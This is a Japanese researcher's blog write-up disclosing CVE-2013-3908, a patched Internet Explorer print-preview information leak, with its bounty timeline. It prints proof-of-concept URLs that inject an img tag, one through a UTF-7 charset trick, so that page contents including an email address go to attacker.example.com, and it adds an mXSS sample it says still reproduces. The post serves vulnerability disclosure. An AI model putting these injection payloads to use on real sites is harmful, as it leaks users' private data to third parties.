2014/11/02

CVE-2013-3908: IEの印刷プレビュー時に発生する情報漏えい

Internet Explorerで細工したページに対し印刷プレビューを実行すると、ページ内の情報が外部に漏えいする場合があった脆弱性について書きます。本問題は、Microsoft提供の更新プログラムにより現在は修正されています。
この問題は、Microsoftが2013年の6-7月に30日間限定で実施したIE11 Previewの脆弱性報酬制度を通じて報告したものです。その後、報酬対象として受理され、$1,100を頂きました。

報酬は次のようなデビットカードで支払われました。

カード右上の金額が$2,200 になっているのは、もう1つ別の報告も報酬対象と受理されたためです。

ちなみに、このことがITmediaに取り上げられ、一部セキュリティ界隈で面白がられている、「日本人と思われるキヌガワマサト氏」という名言が生まれました。

Microsoft、IE 11の脆弱性情報に総額2万8000ドルの賞金贈呈 - ITmedia ニュース
http://www.itmedia.co.jp/news/articles/1310/08/news043.html
また、日本人と思われる「キヌガワ・マサト」氏は2件の脆弱性を報告して2200ドルを進呈されている。

さらに、"日頃より、数々の重要な脆弱性のご報告をいただき、弊社に多大なご協力を頂い"たらしいので、特別な報酬として、「XBOX 360本体1台、XBOXのゲームソフト2本(HALO 4 、Gears of War)、Xbox Liveゴールドメンバーシップ(12ヵ月)」も頂きました。ありがとうございます。

報告後しばらくして、MS13-088で修正されました。

http://technet.microsoft.com/ja-jp/security/bulletin/ms13-088
Internet Explorer の情報漏えいの脆弱性 (CVE-2013-3908) を報告してくださった Masato Kinugawa 氏
2013年11月の修正ですが、関連する問題を報告したのはもっと前だったりします。
2012年の3月頃から、次のようなやりとりがありました。

タイムライン


2012/3/12IE9(当時最新)まで影響する印刷プレビューの脆弱性を報告 - 【問題1】
2012/3/23影響が限定的なため、パッチは提供せず次期バージョンのIE(10)で対応するとの回答をもらう
(IE10リリース後、確かに修正されていることを確認)
2012/12/26IEの文字コードに関する問題を報告 - 【問題2】
2013/7/19上記の文字コードに関する問題を利用すると、IE11 Previewでも、印刷プレビュー時に情報漏えいの問題を発生させることを確認(この時、IE11の報酬制度を実施中だった) - 【問題3】
2013/8/14印刷プレビューの問題が報酬対象と判断される
2013/11/13MS13-088として更新プログラムが公開される(この更新は、印刷プレビューのページを文字コードに関する問題の影響を受けないように変更するもので、文字コードに関する問題自体は修正されなかった。ついでにIE9以下でも【問題1】のバックポートが行われる。)
2013/11/18文字コードに関する問題については影響度が低いので即時修正は行わないとの回答をもらう

まとめると、昔に今回の問題とは関係ない印刷プレビューの脆弱性を報告したけど、次期IEで直すと返事をもらって、確かに次期IEでは直ったけど、別に発見した文字コードの問題と組み合わせるとまだIE11 Previewでも問題が起きるのに気付いて、それで報酬をもらったという話ですね。

それでは、順番に、どんな問題だったか紹介していきます。

【問題1】最初の報告(2012年3月)


印刷プレビュー時にIEは独自のHTMLを生成していて、印刷プレビュー対象のURLからbaseタグのhrefを作り、ドキュメントの先頭の方に埋め込んでいるのですが、この部分で単純に「"<>」などの記号を未処理のまま書き出していました。
例えば、次のようなURLを印刷プレビューで表示すると、印刷プレビュー時に生成されるHTML中でbaseタグのhref属性の引用符が途中で区切られ、xmpタグが有効となり、HTMLソースを印刷プレビューするような状態になります。

http://www.microsoft.com/en-us/default.aspx?"><xmp>

言わばXSS脆弱性がなかったページにXSS脆弱性がうまれてしまったようなもので、明らかにマズそうですが、印刷プレビューのページではJavaScriptは動作しないようなので、典型的なXSS攻撃のように、JavaScriptを使って外部のサーバに情報を送ることはできません。しかし、imgタグなら読み込めるようです。勘がいい人はもう悪用できる可能性に気付いたかもしれません。

次のようなページがあるとします。

http://vulnerabledoma.in/security/search?q=123

qパラメータに入れた値が、検索ボックスに出力されるようなページです。ページ自体にXSS脆弱性はありません。ページの先頭から検索ボックスの間に、 ログインしていることを意味するメールアドレスが表示されている状態を想定しています。

この条件で、印刷プレビューのバグを悪用してみます。
以下のようにURLを細工して印刷プレビューを実行すれば、メールアドレスを含むページ内の情報が、外部のサーバに送られてしまいます。

http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/

これは、印刷プレビュー時に生成されるHTMLが次のようになるからです。黄色部分がimgのsrcとして読み込まれる箇所です。
(先頭省略)
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META charset="utf-8"> </HEAD> <BODY><P>LoginID:example@example.com</P><FORM action="" method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit" value="submit">
</FORM></BODY></HTML>
画像が読み込まれると、attacker.example.comに向けて、次のリクエストが発生します。赤字部分のように、メールアドレスが含まれています。

http://attacker.example.com/%22%3E%3CSTYLE%3E%20HTML%20%7B%20font-family%20:%20%22Times%20New%20Roman%22%20%7D%20%3C/STYLE%3E%3CMETA%20charset=utf-8%3E%3C/HEAD%3E%3CBODY%3E%3CP%3ELoginID:example@example.com%3C/P%3E%3CFORM%20method=get%20action=%22%22%3ESearchBox:%3CINPUT%20name=q%20value=%22123


IEでは印刷プレビューをユーザ操作なしに実行することは通常できないので、攻撃するには、細工したページに対して印刷プレビューを実行するようターゲットを誘導しなければいけません。このあたりの悪用の難しさからか、影響は小さいと判断され、報告を行った時点で最新のIE9では修正せず、次のIE10で修正するという返事をもらいました。(※のちにIE9以下でも修正されることになります。)

【問題2】文字コードの問題(2012年12月)


この問題、一言で言うと、charset指定のタグがどこで効くかという話です。最近、この問題を使ったXSSチャレンジも公開されており、非公開にする必要もないと思いますので、取り上げます。

次のようなHTMLがある時、どのcharsetでページが表示されるでしょうか。(HTTPレスポンスヘッダにはcharset指定がないとします。)

http://l0.cm/charset.html
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html>

当然、UTF-8でしょうか?

Chrome/SafariはUTF-8を選択します。ところが、FirefoxはKOI8-R、IEはBig5を選択します。

細かい挙動については個別にみて頂くとして、ここで言いたいのは、本来のcharset指定より前にcharset指定らしき文字列が置けてしまうと、ブラウザによっては、属性部分やJavaScriptの文字列リテラル部分にあるそれらしき文字列でも、charsetの決定に使ってしまう場合があるということです。

本題のCVE-2013-3908は、IEのこの挙動を利用します。

【問題3】文字コードの問題×印刷プレビュー = 情報漏えい(CVE-2013-3908)


報酬を得た問題です。
IE11 Previewの印刷プレビュー時のHTMLソースをみてみましょう。

http://vulnerabledoma.in/security/search2?q=123"<>
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123&quot;<>"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123&quot;<>">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META
charset="iso-8859-1">
</HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""
method="get">
SearchBox:<INPUT name="q" type="text" value="123&quot;&lt;&gt;"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
ごちゃごちゃしていますが、注目してほしいのは赤字の2箇所だけです。
最初にでてくるcharset指定(2番目の赤字)よりも前に__IE_DisplayURL という謎属性の部分に、<> がそのまま入っています(1番目の赤字)。

先ほどの文字コードの問題を思い出してください。この配置、何かが起こりそうではないですか?!
うまくいくか、やってみましょう。

http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
こちらも、注目すべき箇所は3箇所だけです。
赤字が実際に有効になるcharset指定です。前述の文字コードの選択の問題により、属性中でもこれがcharset指定と判断されてしまいます。これで、印刷プレビューページのcharsetは本来ページに指定されていたiso-8859-1から、UTF-7になります。
青字の「+ACIAPgA8A-」をUTF-7から戻すと、 ">< になります。これは、「"」を使わずに属性の引用符から脱出するために使っています。
脱出後、imgタグを作り、攻撃者のサイトに機密情報(今回はメールアドレス)を含むリクエストをとばすようにします。黄色部分が画像として読み込まれる部分です。うまくいきました!

やれることは地味ですが、charset指定の問題が発生する配置のドキュメントをIEの印刷プレビュー機能が偶然作っていたためにこのような問題を起こせてしまったというのがなんとも面白いです。その辺りの面白さも含めて、Microsoftは報酬対象と判断してくれたのではないでしょうか。

この問題に対するMS13-088の修正は、印刷プレビューページの構造をcharsetの問題の影響を受けないように変更するもので、charset指定の選択の挙動自体は変更されませんでした。このように、不意に問題が起きる場合があることを身を持って体験しながら、根本原因を改善しなかったのはちょっと残念ですね。

ちなみにこの問題、ページのエンコーディングがUTF-8だった場合は利用できませんでした。印刷プレビューのドキュメントの一番先頭にUTF-8 のBOMが挿入されるようになっていたためです。BOMの優先度は高いので、UTF-8の表示が強制されます。

先ほどのページでも、BOMを挿入すると、IE/FirefoxどちらもUTF-8が必ず選択されるようになります。
http://l0.cm/charset_bom.html


以上が、一連の報告の流れでした。

【おまけ】書いてて気付いた問題( mXSS + 印刷プレビュー = 情報漏えい)


些細な問題ですが、この記事を書いている最中に気付いてしまいました。以下に紹介するものは今も再現します。
印刷プレビューのHTMLをみていると、innerHTMLへの代入後のような文字列でページが構成されていることに気付きます。印刷プレビューは、JavaScriptで動的にページを書き換えたあとの状態や入力された文字列もページに書き出すので、バックでinnerHTMLへの代入相当の、ページ全体に対するコピー処理が行われている、ということだと思います。

はせがわようすけさんの記事「教科書に載らないWebアプリケーションセキュリティ(1):[これはひどい]IEの引用符の解釈 (3/3) - @IT」にもあるように、過去にIEの印刷プレビューでは「`」の扱いがおかしかったりしていますし、このinnerHTMLへの代入相当の処理で、いわゆるmXSSの挙動の影響を受けるのではないかと考えました。(mXSSについては、はせがわさんのブログ記事「mXSS - Mutation-based Cross-Site-Scripting のはなし - 葉っぱ日記」を参考にしてください。)

そこで、Gareth Heys氏のブログで紹介されている、mXSSが起こりうる次のようなコードに対して印刷プレビューを実行してみました。

http://l0.cm/ie_printpreview_mxss.html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<script>
x="<%";
</script>
<div title="%&gt;&lt;/script&gt;&lt;h1&gt;mXSS"></div>

印刷プレビューの表示は、IE11でも以下のようになります。



思った通り、title属性を抜けて、mXSSという文字列がページに出現しています。
問題になる条件は限られますが、これはダメですね…。


参考資料:

印刷プレビュー時のHTMLソースの見方は以下のブログを参考にさせて頂きました。

IEで表示中のアクティブなHTMLソース: Windows Script Programming
http://scripting.cocolog-nifty.com/blog/2010/08/iehtml-2d4b.html